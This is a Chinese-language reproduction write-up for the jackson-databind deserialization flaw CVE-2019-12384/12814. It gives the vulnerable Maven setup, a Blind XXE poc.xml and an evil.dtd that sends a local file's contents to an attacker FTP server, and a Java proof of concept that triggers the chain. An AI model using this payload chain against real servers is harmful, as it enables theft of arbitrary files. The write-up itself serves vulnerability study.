跳转至

CVE-2019-12384-CVE-2019-12814 FasterXML jackson-databind 反序列化漏洞

一、漏洞简介

在Jackson 2.x ~ Jackson 2.9.9,当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法并且服务端使用了JDOM 1.x 或 JDOM 2.x 依赖库时,攻击者可以发送恶意的JSON消息,读取远程服务器上的任意文件。

利用条件

  • 开启enableDefaultTyping
  • 使用了JDOM 1.x 或 JDOM 2.x 依赖

二、漏洞影响

Jackson 2.x ~2.9.9

三、复现过程

环境搭建

创建一个Meaven项目,在pom.xml文件中添加以下依赖:

<dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.9.9</version>
    </dependency>


    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-annotations</artifactId>
      <version>2.9.9</version>
    </dependency>


    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-core</artifactId>
      <version>2.9.9</version>
    </dependency>

    <dependency>
      <groupId>org.jdom</groupId>
      <artifactId>jdom2</artifactId>
      <version>2.0.6</version>
    </dependency>
  </dependencies>

漏洞利用

测试文件

准备一个测试文件,后续进行读取:

编写poc.xml

该XXE属于Blind XXE,我们构造以下恶意xml代码,它会去调用位于我们的攻击主机上(这里以本地启动的Http服务模拟)的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误):

<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file:///c:/hello.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/evil.dtd">
%remote;
%send; 
]> 
<foo></foo>

编写evil.dtd

<!ENTITY % ppp "<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1/%file;'>">
%ppp;

启动Http服务

使用python开启一个简易的Http服务:

启动FTP服务

使用IPOP V4.1软件搭建一个简易的FTP服务:

执行漏洞POC

执行如下漏洞POC:

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String[] args)  {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:4444/poc.xml\"]";
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

成功读取到文件信息(笔者这里尝试过读取win.in文件,但是发现无法读全,该漏洞其实也是一个反序列化+XXE的利用,而且是Blind XXE,有兴趣的大佬可以再深入研究一波)

整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,首先加载name实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以 接下来加载send实体,此时就是关键点,即将name实体的值(C:/hello.txt)发送到我们的FTP服务器上(通过GET、POST等方式的查询会在攻击者的服务器日志中留下相关记录)

参考链接

https://xz.aliyun.com/t/7820#toc-7